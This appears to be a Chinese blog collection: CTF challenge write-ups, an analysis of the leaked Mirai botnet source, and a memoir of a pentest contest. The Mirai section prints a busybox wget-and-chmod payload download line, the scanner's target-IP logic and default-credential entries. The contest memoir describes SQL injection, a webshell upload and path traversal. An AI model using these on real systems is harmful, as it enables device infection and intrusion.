char[] arrayOfChar = new char[16];
BufferedReader localBufferedReader = new BufferedReader(new InputStreamReader(ContextHolder.getContext().getAssets().open("kawai.jpg")));
localBufferedReader.skip(424L);
localBufferedReader.read(arrayOfChar);
localBufferedReader.close();
String str = new String(decrypt(Base64.decode(paramString.getBytes(), 2), this.key.getBytes(), charArrayToByteArray(arrayOfChar)));
return str;
} catch (Exception localException) {
localException.printStackTrace();
}
return paramString;
}
public byte[] decrypt(byte[] paramArrayOfByte1, byte[] paramArrayOfByte2, byte[] paramArrayOfByte3) throws Exception {
byte[] arrayOfByte = transformKey(paramArrayOfByte2);
Cipher localCipher = Cipher.getInstance("AES/CFB/PKCS7Padding");
localCipher.init(Cipher.DECRYPT_MODE, new SecretKeySpec(arrayOfByte, "AES"), new IvParameterSpec(paramArrayOfByte3));
return localCipher.doFinal(paramArrayOfByte1);
}
}
public class MainActivity extends AppCompatActivity {
String correct = "XclSH6nZEPVd41FsAsqeChz6Uy+HFzV8Cl9jqMyg6mMrcgSoM0vJtA1BpApYahCY";
Encrypt encrypt = new Encrypt();
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
String clear = this.encrypt.doDecrypt(this.correct);
System.out.println(clear);
}
}

得到 flag:suctf{andr01d_encrypt_s0much_4un}

[Mobile] mips

正如名字所述是一段 MIPS 汇编。我的 MIPS 并不熟,IDA 也没装 MIPS 的插件,然而有个在线网站特别好:https://retdec.com/decompilation/ ,可以将一些常见的汇编转换为可编译通过的 C 代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <stdint.h>
#include <stdio.h>
#include <string.h>

char * g1 = "\x58\x31\x70\x5c\x35\x76\x59\x69\x38\x7d\x55\x63\x38\x7f\x6a"; // 0x410aa0

int main(int argc, char ** argv) {
int32_t str = 0; // bp-52
int32_t str2 = 0; // bp-32
printf("Input Key:");
scanf("%16s", &str);
int32_t v1 = 0; // bp-56
if (strlen((char *)&str) == 0) {
if (memcmp((char *)&str2, (char *)&g1, 16) == 0) {
printf("suctf{%s}\r\n", &str);
} else {
puts("please reverse me!\r");
}
return 0;
}
int32_t v2 = 0; // 0x4008148
int32_t v3 = v2 + (int32_t)&v1; // 0x4007c0
unsigned char v4 = *(char *)(v3 + 4); // 0x4007c4
*(char *)(v3 + 24) = (char)((int32_t)v4 ^ v2);
v1++;
while (v1 < strlen((char *)&str)) {
v2 = v1;
v3 = v2 + (int32_t)&v1;
v4 = *(char *)(v3 + 4);
*(char *)(v3 + 24) = (char)((int32_t)v4 ^ v2);
v1++;
}
if (memcmp((char *)&str2, (char *)&g1, 16) == 0) {
printf("suctf{%s}\r\n", &str);
} else {
puts("please reverse me!\r");
}
return 0;
}

稍加整理,可以看出来是一个循环,v4 本质是 str[i]v3 + 24 本质是 str[i + 5]。也就是说,这段代码先获取你的输入,然后一个循环将第 i 位的字符异或一下 i,因此解密也超级好写:

1
2
3
4
5
6
7
8
char g[] = "\x58\x31\x70\x5c\x35\x76\x59\x69\x38\x7d\x55\x63\x38\x7f\x6a";

int main() {
for (int i = 0; i < strlen(g); i++) {
printf("%c", g[i] ^ i);
}
printf("\n");
}

得到 flag:suctf{X0r_1s_n0t_h4rd}

[Mobile] Mob300

解压 apk 之后发现里面加载了各种平台下的一个叫 libnative-lib.so 的文件,于是挑了一个最熟悉的平台:x86,用 IDA 反汇编,发现里面的函数超级少,每个函数的语句也超级少,于是就一点点看了。Java_com_suctf_naive_MainActivity_getHint(int a1) 函数里面其实是拼了一个字符串:

1
2
3
4
5
6
v8 = '!ga';
v7 = 'lf e';
v6 = 'ht s';
v5 = 'i ta';
v4 = 'hw s';
v3 = 'seuG';

这特么不就是 Guess what is the flag!?然后看到 Java_com_suctf_naive_MainActivity_getFlag(int a1) 函数和 flag_gen(void) 函数内容基本是一样的,里面也在拼字符串:

1
2
3
4
flag_global = xmmword_5D0;
flag_global[4] = 'uf_0';
flag_global[10] = '}n';
flag_global[22] = '\0';

双击 xmmword_5D0,然后右键将其转换为字符串,可得:5_inj_teeM{ftcus,于是得出 flag:suctf{Meet_jni_50_fun}

[Misc] 签到

加群,在群文件中可以得到 flag:suctf{Welc0me_t0_suCTF}

[Misc] Misc-50

下载下来是一个 GIF 图像,每隔六秒刷新一次,图像是一个竖条。后来发现其实是一个浏览大图的窗格,于是用 PS 将所有图层从左到右拼起来即可得到 flag:suctf{t6cV165qUpEnZVY8rX}

[Misc] Forensic-100

下载下来是一个文件,用 file 看一下发现是 Gzip 压缩,用 gzip 命令解压。

1
2
3
4
$ file SU
SU: gzip compressed data, was "SU", last modified: Sat Oct 29 19:43:07 2016, from Unix
$ cat SU | gzip.exe -d
fhpgs{CP9PuHsGx#}

前几个肯定是 suctf,后面的按照规律解也可以,其实这是个 rot13,直接找个在线工具解了就行:suctf{PC9ChUfTk# }

[Misc] 这不是客服的头像嘛。。。。23333

下载下来是一张图片,用 file 看也是一张图片,然而用 binwalk 之后发现里面有个压缩包,用 dd 命令提取出来:

1
2
3
4
5
6
7
8
9
10
$ binwalk xu.jpg

DECIMAL HEX DESCRIPTION
-------------------------------------------------------------------------------------------------------
46046 0xB3DE RAR archive data

$ dd if=xu.jpg of=xu.rar bs=1 skip=46046
20221+0 records in
20221+0 records out
20221 bytes (20 kB) copied, 0.294344 s, 68.7 kB/s

解压发现是一个 img 镜像(吐槽一下这丧心病狂的压缩率,能把 1440 压成 20……),打开发现是四张图片,分别是一个二维码的四个角,把它们拼起来,扫一下即可:suctf{bOQXxNoceB}

[Re] 先利其器

可以看出来里面是一个循环,循环结束后 num 为零,然后判断如果 num 不为零则显示答案。虽然可以 patch 二进制将这句话 nop 掉,但是由于这么简单,还是直接看伪代码吧。

1
2
3
4
if ( num > 9 ) {
plaintext = 'I';
flag(&plaintext);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
signed int __cdecl flag(int *ret) {
ret[12] = 'a';
ret[11] = '6';
ret[10] = 'I';
ret[9] = '_';
ret[8] = 'e';
ret[7] = '5';
ret[6] = 'U';
ret[5] = '_';
ret[4] = 'n';
ret[3] = '@';
ret[2] = 'c';
return 1;
}

再加上循环里有一句 flag[1] = '_';,于是就拼出来了:suctf{I_c@n_U5e_I6a}

[Re] PE_Format

发现文件头的 PE 和 MZ 标志刚好反了,于是将其改正,然后将 PE 文件头的位置从 40 改为 80,即可运行程序,然而程序没啥反应,于是上 IDA(居然是 x64 的)。

1
2
3
4
for ( i = 0; i < len; ++i ) {
ans2[i] = ans[i];
ans[i] = ~ans[i];
}

然后判断如果你的输入(ans)加密后跟 secret 相等则通过。secret 的内容是一段二进制:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
.data:0000000000476010 ; char secret[23]
.data:0000000000476010 secret db 0BBh
.data:0000000000476011 db 90h ;
.data:0000000000476012 db 0A0h ;
.data:0000000000476013 db 0A6h ;
.data:0000000000476014 db 90h ;
.data:0000000000476015 db 8Ah ;
.data:0000000000476016 db 0A0h ;
.data:0000000000476017 db 94h ;
.data:0000000000476018 db 91h ;
.data:0000000000476019 db 90h ;
.data:000000000047601A db 88h ;
.data:000000000047601B db 0A0h ;
.data:000000000047601C db 0AFh ;
.data:000000000047601D db 0BAh ;
.data:000000000047601E db 0A0h ;
.data:000000000047601F db 0B9h ;
.data:0000000000476020 db 90h ;
.data:0000000000476021 db 8Dh ;
.data:0000000000476022 db 92h ;
.data:0000000000476023 db 9Eh ;
.data:0000000000476024 db 8Bh ;
.data:0000000000476025 db 0C0h ;
.data:0000000000476026 db 0

于是随手写一段程序即可:

1
2
3
4
5
6
7
8
9
10
11
#include <cstdio>
#include <cstring>

char secret[] = {0xBB, 0x90, 0xA0, 0xA6, 0x90, 0x8A, 0xA0, 0x94, 0x91, 0x90, 0x88, 0xA0, 0xAF, 0xBA, 0xA0, 0xB9, 0x90, 0x8D, 0x92, 0x9E, 0x8B, 0xC0, 0x00};

int main() {
for (int i = 0; i < strlen(secret); i++) {
secret[i] = ~secret[i];
}
printf("%s\n", secret);
}

得出 flag:suctf{Do_You_know_PE_Format?}

[Re] Find_correct_path

上 IDA 分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
scanf("%s", &v5);
if ( v7 ) {
switch ( v7 ) {
case 1:
choose1(&choice);
break;
case 2:
choose2(&choice);
break;
case 3:
choose3(&choice);
break;
case 4:
choose4(&choice);
break;
}
v6 = strlen(&choice);
final(&choice, v6);
result = 0;
} else {
result = 1;
}

读入了 v5,然而判断了 v7,而且 v5v7 前面,当然可以当 PWN 来做,但是更简单的方法是直接修改二进制,将第一句改为 scanf("%d", &amp;v7) 即可,只需要改一个字符和一个地址。然后在 Linux 下运行即可,分别输入 1~4 看看结果如何:

1
2
3
4
5
6
7
8
9
10
11
12
root@kali:~# ./Which_way_is_correct_rex
1
T2l1_w1y_lT_r!8Tt
root@kali:~# ./Which_way_is_correct_rex
2
Th15_3ad_ls__!8he
root@kali:~# ./Which_way_is_correct_rex
3
Thl5_way_ls_r!8ht
root@kali:~# ./Which_way_is_correct_rex
4
Thl5lwaycTsTr7Tht

很显然 3 是正确的,于是得到 flag:suctf{Thl5_way_ls_r!8ht}

[Re] reverse04

吐槽一下,首先文件名是 reverse03 .exe(嗯,还有个空格),其次里面有各种系统调用和反调试。

先输入用户名和密码,然后利用三个替换规则分别对用户名的 03 位、47 位、8~11 位进行替换,结果存在字符串 flag 的特定区域(在代码中有写到 flag 的一些值为 flag{xxxxxxxxxxxxxxxxx}),然后对该区域进行一个 +1 的凯撒加密,判断与输入的密码是否相等。恶心就恶心在替换过程,trans1 使用了 GetTickCount 判断是否在调试,trans2 判断系统中是否有 idaq.exeidaq64.exe 进程,trans3 使用了 IsDebuggerPresent__readfsdword 判断是否在调试,这些判断的方法最终影响到了 x1x2,然而第 i 个替换规则是这样的:flag[X + 5] = Dict[i][F(x1, x2) + username[X]],其中 F 函数返回一个整数,username[X] 要取 ASCII 码。由于我不会系统调用,因此直接手动枚举的(反正替换的区域互不影响,最差也只需要六次枚举),最终得到 flag:suctf{antidebugabc}

[Crypto] base??

根据题目提示猜想是 Base64,然而并不是,试了 Base32 可以了:suctf{I_1ove_Su}

[Crypto] 凯撒大帝

根据提示是凯撒密码,将给的数字拆成 ASCII 的形式,然后按照 +4, +4, +15, +15, +4, +4… 的规律解码就可以了:suctf{I_am_Caesar}

[Crypto] easyRSA

注意到 public_key 超级短,因此可以用 RsaCtfTool 工具直接暴力破解出 private_key:

1
$ python RsaCtfTool.py --pkey ../easyRSA/public.key --pri > ../easyRSA/private.key

然后就可以用 openssl 来对数据进行解密了,得到 flag:suctf{Rsa_1s_ea5y}。话说谁说 RSA 简单的,明明只是 key 短。

[Crypto] 普莱费尔

有在线的解密工具,先将下面一串 WW91IGFyZSBsdWNreQ== 翻译成 You are lucky,然后用它做 key,翻译上面的内容即可。得到 flag:suctf{charleswheatstone}

[Crypto] 很贱蛋呀

查看 En.py 文件,发现每一轮的 key 都不一样,而且每一位互不影响,群里也说答案都是可见字符,因此三重循环,第一重枚举 key,第二重枚举字符位置,第三重枚举该位置的字符:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#include <cstdio>
#include <cstring>

unsigned char cipher[30] = {75, 30, 30, 215, 104, 138, 69, 213, 248, 30, 179, 212, 105, 33, 213, 249, 105};
int len = strlen((char *)cipher);

unsigned char result[30] = {0};
int index = 0;

char solve(int key, int enc) {
for (int x = 32; x <= 127; x++) {
int am = (key + x) / 2;
int gm = key * x;
if ((am + gm) % 255 == enc) {
return x;
}
}
return 0;
}

bool deal(int key) {
index = 0;
for (int i = 0; i < len; i++) {
if ((result[index++] = solve(key, cipher[i])) == 0) {
return false;
}
}
return true;
}

int main() {
for (int key = 0; key < 128; key++) {
if (deal(key * 101)) {
printf("Found key = %d\n", key);
printf("%s\n", result);
}
}
return 0;
}
1
2
Found key = 110
Goodlucktobreakme

最终得出 flag:suctf{Goodlucktobreakme}


这次懒得写结尾了……

对 Mirai 病毒的初步分析——物联网安全形式严峻

前几天,半个美国的吃瓜群众纷纷表示上不了网了。经过各种调查,发现是一个代号为 Mirai(日语:未来)的病毒感染了物联网设备,形成了一个僵尸网络,最终这个超大型的僵尸网络向美国某 DNS 公司的服务器发起了 DDoS 攻击。Mirai 的 C 语言源码在网上很容易获取到,刚好我最近在上计算机病毒课,于是就下载下来研究了一下,顺便看一下以自己现在的能力可以理解到哪一步。

下载下来之后粗略看了一下,第一感觉就是作者的代码风格真的是超级好!不光代码格式很赞(虽说大括号放到了下一行),而且变量名、文件名都很有目的性,重要的地方都写了注释或者打了 log,因此分析起来还是相对比较简单的。

目录结构

Mirai 源码目录结构是这样的:

1
2
3
4
5
6
7
8
9
Mirai_Source_Code
├─loader # 加载器
│ ├─bins # 一部分二进制文件
│ └─src # 加载器的源码
│ └─headers
└─mirai # 病毒本体
├─bot # 攻击、扫描器、域名解析等模块
├─cnc # 使用 go 语言写的服务器程序
└─tools # 存活状态检测、加解密、下载文件等功能

加载器部分

接下来我们把目光转向 loader/src/main.c 文件。在 main 函数中有效力的第一句话是调用了 binary_init 函数,在这个函数中尝试加载 loader/bins 下面的程序(本文所有引用的代码,格式均按照我的风格有所调整,但内容均未修改):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
if (glob("bins/dlr.*", GLOB_ERR, NULL, &pglob) != 0) {
printf("Failed to load from bins folder!\n");
return;
}
for (i = 0; i < pglob.gl_pathc; i++) {
char file_name[256];
struct binary *bin;
bin_list = realloc(bin_list, (bin_list_len + 1) * sizeof (struct binary *));
bin_list[bin_list_len] = calloc(1, sizeof (struct binary));
bin = bin_list[bin_list_len++];
#ifdef DEBUG
printf("(%d/%d) %s is loading...\n", i + 1, pglob.gl_pathc, pglob.gl_pathv[i]);
#endif
strcpy(file_name, pglob.gl_pathv[i]);
strtok(file_name, ".");
strcpy(bin->arch, strtok(NULL, "."));
load(bin, pglob.gl_pathv[i]);
}

其实 loader/bins 目录下就是叫 dlr 的程序的各种架构的二进制编译版本。因为本机恰好有 IDA,里面有 Hex-Rays,可以反编译 x86 架构的程序,于是我就从 dlr.x86 文件入手了。打开文件,按下 F5 查看伪代码,发现几乎所有的函数都无法解析,然而汇编我又不熟,所以只能看唯一一个可以解析的函数 sub_804819D。大部分代码都看不懂(其实解析出来的代码只有 61 行),但是里面有这么一段:

1
2
if (sub_8048146(v3, "GET /bins/mirai.x86 HTTP/1.0\r\n\r\n", i + 29) != i + 29)
sub_80480E0(3);

这是尝试加载一个文件。然而我没能获取到这个文件,因此只能作罢。

加载完二进制之后,接着创建一个服务器:

1
2
3
4
if ((srv = server_create(sysconf(_SC_NPROCESSORS_ONLN), addrs_len, addrs, 1024 * 64, "100.200.100.100", 80, "100.200.100.100")) == NULL) {
printf("Failed to initialize server. Aborting\n");
return 1;
}

之后可以通过这个服务器进行 tftp/wget 的下载,以及文件读写操作,代码中大量调用了 busybox 的功能,例如:

1
util_sockprintf(conn->fd, "/bin/busybox wget http://%s:%d/bins/%s.%s -O - > "FN_BINARY "; /bin/busybox chmod 777 " FN_BINARY "; " TOKEN_QUERY "\r\n", wrker->srv->wget_host_ip, wrker->srv->wget_host_port, "mirai", conn->info.arch);

所以可见搭载 busybox 的系统是其目标之一。此外这个服务器还有其它的功能,例如建立 Telnet 连接(地址需要手动输入),显示全部连接的状态,这应该是监控病毒状态用的。

病毒本体部分

实用工具

badbot.c

显示指定的 bot 信息,然而里面只有一句 printf,不知道意义何在。

enc.c

常用数据类型(stringipuint32uint16uint8bool)的加解密。

nogdb.c

修改 ELF 文件头,使得其无法在 GDB 中运行。

scanListen.go

监视扫描器的扫描记录。

single_load.c

加载指定 IP:Port 下面指定的文件,估计是用于运行远程服务器上的病毒。

wget.c

用于下载文件。

攻击模块

攻击模块的作用是向 DDoS 的目标发起攻击,相关的代码在 mirai/bot/attack*.c 文件中,其中 attack.c 是主入口,里面写了“开始攻击”、“结束攻击”、“攻击选项”等通用的功能;其它的都是分别对应 TCP、UDP 等协议的攻击程序。攻击的选项有好多,例如目标 IP、是否分片、每次发送的长度、是否发送随机数据等。攻击的时候,首先非阻塞地连接目标,然后尝试获取服务器信息,如果获取到了,说明服务器存活,就开始不断发送数据。

killer 模块

killer 模块的作用是杀死本机的一些特定服务,例如 ssh、telnet、http,并绑定它们的端口,防止服务重新启动。值得注意的是,扫描服务的时候是通过端口扫描的,即杀死使用 22、23、80 端口的程序,但是如果服务的端口被修改过,就可以幸免遇难。当然,考虑到本机其实是个物联网设备,因此几乎没有人会做这样的修改。

checksum.c、rand.c、resolve.c

这些文件虽然更像工具集(在 mirai/tools 目录下),但是是病毒文件需要用到的,因此就跟病毒放到了一块。

checksum.c 可以实现简单的校验功能。

rand.c 可以生成下一个随机数、生成指定长度的随机字符串、生成指定长度的字母串。

resolve.c 可以进行域名解析。

扩展的 C 函数

不知道为啥作者会写一个 util.c 进去,里面是各种 C 语言函数的实现,例如 strlentrncmpstrcmpstrcpymemcpy 等。

常量列表

文件 table.c 里面存了一份常量列表,大概长这样:

1
2
3
4
5
6
7
void table_init(void) {
add_entry(TABLE_CNC_DOMAIN, "\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 30);
add_entry(TABLE_CNC_PORT, "\x22\x35", 2);
add_entry(TABLE_SCAN_CB_DOMAIN, "\x50\x47\x52\x4D\x50\x56\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 29);
add_entry(TABLE_SCAN_CB_PORT, "\x99\xC7", 2);
// 下面省略若干内容
}

后面的字符串看不懂怎么办?没关系,我们看到 table.h 就知道了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/* Attack strings */
#define TABLE_ATK_VSE 29 /* TSource Engine Query */
#define TABLE_ATK_RESOLVER 30 /* /etc/resolv.conf */
#define TABLE_ATK_NSERV 31 /* "nameserver " */
#define TABLE_ATK_KEEP_ALIVE 32 /* "Connection: keep-alive" */
#define TABLE_ATK_ACCEPT 33 // "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8" // */
#define TABLE_ATK_ACCEPT_LNG 34 // "Accept-Language: en-US,en;q=0.8"
#define TABLE_ATK_CONTENT_TYPE 35 // "Content-Type: application/x-www-form-urlencoded"
#define TABLE_ATK_SET_COOKIE 36 // "setCookie('"
#define TABLE_ATK_REFRESH_HDR 37 // "refresh:"
#define TABLE_ATK_LOCATION_HDR 38 // "location:"
#define TABLE_ATK_SET_COOKIE_HDR 39 // "set-cookie:"
#define TABLE_ATK_CONTENT_LENGTH_HDR 40 // "content-length:"
#define TABLE_ATK_TRANSFER_ENCODING_HDR 41 // "transfer-encoding:"
#define TABLE_ATK_CHUNKED 42 // "chunked"
#define TABLE_ATK_KEEP_ALIVE_HDR 43 // "keep-alive"
#define TABLE_ATK_CONNECTION_HDR 44 // "connection:"
#define TABLE_ATK_DOSARREST 45 // "server: dosarrest"
#define TABLE_ATK_CLOUDFLARE_NGINX 46 // "server: cloudflare-nginx"
/* User agent strings */
#define TABLE_HTTP_ONE 47 /* "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" */
#define TABLE_HTTP_TWO 48 /* "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" */
#define TABLE_HTTP_THREE 49 /* "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36" */
#define TABLE_HTTP_FOUR 50 /* "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36" */
#define TABLE_HTTP_FIVE 51 /* "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7" */

随便举了一段,注释里面就是解密之后的字符串。

扫描器模块

程序会 fork 出一个子进程来扫描。扫描过程发送的请求中,本机端口为随机端口,目标机端口为 23 和 2323,目标 IP 是随机选取的,选取的方法是,先生成一个随机 IP,如果发现这个 IP 是本地回环等没有攻击价值的 IP,就跳过继续生成下一个:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
do {
tmp = rand_next();
o1 = tmp & 0xff;
o2 = (tmp >> 8) & 0xff;
o3 = (tmp >> 16) & 0xff;
o4 = (tmp >> 24) & 0xff;
}
while (o1 == 127 || // 127.0.0.0/8 - Loopback
(o1 == 0) || // 0.0.0.0/8 - Invalid address space
(o1 == 3) || // 3.0.0.0/8 - General Electric Company
(o1 == 15 || o1 == 16) || // 15.0.0.0/7 - Hewlett-Packard Company
(o1 == 56) || // 56.0.0.0/8 - US Postal Service
(o1 == 10) || // 10.0.0.0/8 - Internal network
(o1 == 192 && o2 == 168) || // 192.168.0.0/16 - Internal network
(o1 == 172 && o2 >= 16 && o2 < 32) || // 172.16.0.0/14 - Internal network
(o1 == 100 && o2 >= 64 && o2 < 127) || // 100.64.0.0/10 - IANA NAT reserved
(o1 == 169 && o2 > 254) || // 169.254.0.0/16 - IANA NAT reserved
(o1 == 198 && o2 >= 18 && o2 < 20) || // 198.18.0.0/15 - IANA Special use
(o1 >= 224) || // 224.*.*.*+ - Multicast
(o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
);

连接成功后,尝试使用各种设备的默认账号和密码登录,程序内置了一份默认账户列表:

1
2
3
4
5
6
// Set up passwords
add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x41\x11\x17\x13\x13", 10); // root xc3511
add_auth_entry("\x50\x4D\x4D\x56", "\x54\x4B\x58\x5A\x54", 9); // root vizxv
// 此处省略若干行
add_auth_entry("\x56\x47\x41\x4A", "\x56\x47\x41\x4A", 1); // tech tech
add_auth_entry("\x4F\x4D\x56\x4A\x47\x50", "\x44\x57\x41\x49\x47\x50", 1); // mother fucker

若可以登录,则将该 IP、端口、账号信息发送到 TABLE_SCAN_CB_DOMAIN:TABLE_SCAN_CB_PORT 中。

主程序

主程序就是 main.c 了,首先反调试、禁止 watchdog/dev/misc 重启设备,然后确保只有一个实例运行(判断 48101 端口是否已被连接),然后隐藏进程名称,fork 出一个子进程并结束自身,子进程继续开启攻击模块、killer 模块、扫描器,最后连接到一个管理后端并监听控制者发起的各种指令。

管理后端

这是一个用 Go 语言写的、攻击者本地运行的命令行服务端,可以向已连接到本机的 bot 发送攻击命令。由于此处与病毒原理无关,因此不做过多分析。


分析了这么久,感觉这个 Mirai 不仅仅是一个病毒,而是一套完整的“控制端+bot+工具集”的解决方案。Mirai 的原作者在论坛中的帖子内容语气狂妄,嘲讽那些尝试反编译 Mirai 的人们:

However, I know every skid and their mama, it’s their wet dream to have something besides qbot.
So, I am your senpai, and I will treat you real nice, my hf-chan.
Don’t make me laugh please, you made so many mistakes and even confused some different binaries with my. LOL
Why are you writing reverse engineer tools? You cannot even correctly reverse in the first place.

作者将此工程发出来的原因是“我已经赚到钱了,你们又逐渐把目光转向了我用来赚钱的物联网设备,所以是时候把我这套方案发出来了”,当然这次的攻击来源也是迄今为止规模最大的、由物联网设备组成的僵尸网络。

据说此次受影响的大部分物联网设备都将默认密码硬编码到了硬件里,因此无法修补漏洞。Mirai 的发布,迫使大家越来越重视物联网安全。有网友笑称:“以后都不敢开灯了。”只能希望,这种情况不会成为我们的 Mirai(未来)。

2016 天翼杯信息安全竞赛决赛的一些经历

得益于初赛我们的好人品,今年又去决赛水了一波。然而最终我们只拿到了第八名,居然还是个二等奖,难道所有的信安竞赛都是 3-5-8 的奖项分配么?比赛的时候没有好好记录做题经过,但是感觉还是蛮刺激的,所以就凭仅剩的记忆,尽可能复原当时的场景吧!

决赛的形式是渗透测试,断网,禁止与外界交流,手机等设备都需要寄存,现场也没有任何可用的无线网(破掉密码也不敢用,万一是主办方的蜜罐呢)。每个队伍都是一个独立的环境,外加一个独立的答题系统和 Hash 查询服务,选手不得攻击靶机以外的任何机器。选手需要使用自己的电脑进行比赛,电脑中允许携带任何软件、文档。

靶机其实是五台服务器,功能如下:

1
2
3
4
5
* 192.168.100.101(下文简写 1):资产管理系统
* 192.168.100.102(下文简写 2):门户网站
* 192.168.100.103(下文简写 3):信息发布平台(论坛)
* 192.168.100.104(下文简写 4):文件服务器
* ???.???.???.???(下文简写 5):某数据库服务器(IP 未提供)

答题系统中有各种题目,都是让我们获取各种敏感信息然后提交。具体答案我已经忘得差不多了,所以只能把当时的过程写一写了。当时我跟 @SummerZhang 一起做,@WolfZhang 和 @黑白 一起做,彼此交流不太够,这也是我们的一个缺点吧。

比赛刚开始,@SummerZhang 就用 Nmap 扫了一下靶机的网段,发现了那个隐藏的 IP 是 192.168.100.245,于是轻松过掉一道题(给出隐藏的 IP 地址)。

1 的端口只开了 22 和 8080,其中 22 是 ssh 服务,对于用户名和密码我们没有任何头绪。8080 打开之后跳转到了一个不存在的网址 192.168.100.101:8080/jxc/,我抓包看了一下,发现其实 192.168.100.101:8080 是正常返回的,里面有一个 key 以及一段网页跳转的代码,于是又拿下一题(给出 1 中隐藏的 key)。这应该算是签到题。然而 1 的其它题目连入口在哪儿都找不到,所以只能看别的服务器了。

很容易发现 2 有一个登录界面,但是 admin 的密码我们也没头绪,注册新用户也没什么用,扫过全部的表单也没发现什么可注入的地方,一看编辑器用的是 FCKeditor,第一印象:那肯定是有文件上传漏洞了。然而并不能成功。过了一会儿 @黑白 在一个非常奇怪的地方(我也不知道他怎么找到的)扫出来一个 SQL 注入,是个 boolean-based 盲注,开了多线程之后效率还是挺高的。于是 dump 出 admin 的密码 Hash,不过数据库中有两条记录,通过 Hash 查询服务反查得到原文,发现一条是真正的密码,一条是 1 中的一个链接 192.168.100.101:8080/level2jxc/。于是进入了后台并过掉一题(给出 admin 的密码)。我们还惊讶的发现可以 dump 出 mysql 表,说明这个系统居然是用 root 权限连接的数据库!典型的运维跑路系列……于是又过掉一题(给出 2 中数据库 root 的密码)。然后我们顺理成章地传了一个菜刀(这居然是个 Windows 服务器),获取到了一个指定文件的内容,又过掉一道题。看到后面的题目应该需要提权(获取 2 中 C:/1.exe 中的 key),我们打算换一个服务器,过会儿再尝试 2 的提权。

3 中的论坛非常难搞,所有扫描器全开没有任何效果,只是扫出了站点结构。看了一下,感觉里面的 template 很可疑,因为作者在模板文件(一般论坛的模板后缀都是 .html)中使用了大量的 PHP 代码来处理业务逻辑,于是我就自己开始了类似于源码审计的工作。我看到了里面的 $_GET,以及作者自己写的它的副本 $GET 和不知道干什么用的 $SET,看到了通过 $_G[USER][ID] 来判断用户权限,所以一直在想能不能用变量覆盖,但是这一块我掌握的并不好,所以最终还是放弃了。于是猜想是管理员账号弱密码。点开管理员资料发现其账号是 test(我还嘲讽 @SummerZhang 一定没用过论坛,不然连用户账号都不知道怎么获取),看到了开发者的各种信息。然而我试了诸如 admin123puyuetian(开发者)、632827168(QQ)、hadsky(论坛架构)、testuser 等密码都不行,于是只能放弃 3,去看另一台服务器。

按照题目要求(分析 4 中的 Net_Server.exe 文件,获取其中管理员的密码),我们得到了 4 中的一个 exe 文件,@SummerZhang 刚想逆向,我说你先用 strings 搞一下,万一就明文存进去了呢?于是在输出的最开始找到了两行,一行是 admin,另一行是 passw0rd,猜想后者就是密码,提交之后果然过掉了这道题。4 的提权没有什么思路,Linux 的提权工具我们这次都没带,所以只能作罢。

我们再次将目光转向 1,刚才给出的链接就是真正的资产管理系统登录界面。右下角有个系统手册下载,看链接 download.jsp?path=upload&amp;name=handbook.zip 应该是有文件下载漏洞,试了一下 download.jsp?path=/&amp;name=../../../../../etc/passwd 果然可以,于是果断拿到了目录下的一个文件并过掉一道题。后面一道题是给出资产管理系统用户 tom 的密码,我们本来想通过 /etc/shadow 获取 root 的密码,然后通过 ssh 连接过去。结果发现这个文件并没法下载,说明还是有权限问题的。于是转换思路,看了一遍扫到的全部文件,发现登录是用 dwr 实现的,并不是网页中写的那个 formaction,抓包后发现格式好奇怪,都没法用 sqlmap 跑注入的。无意中发现有一个 loginService 的单元测试,点进去之后发现可以看到 loginService 中的全部方法名,并且可以直接远程执行代码,然而我们并不知道具体的参数,于是将所有扫到的文件全部 dump 下来,JSP 文件没什么好看的,基本都是 HTML;class 文件用 jd-gui 来看,但是 loginService 类中的 login 函数居然没法被解析出来,adminPwEdit 似乎可以修改管理员密码,但是服务器就是想要这个密码,所以应该也没什么用处。于是这个服务器又到了一个比较尴尬的状态。

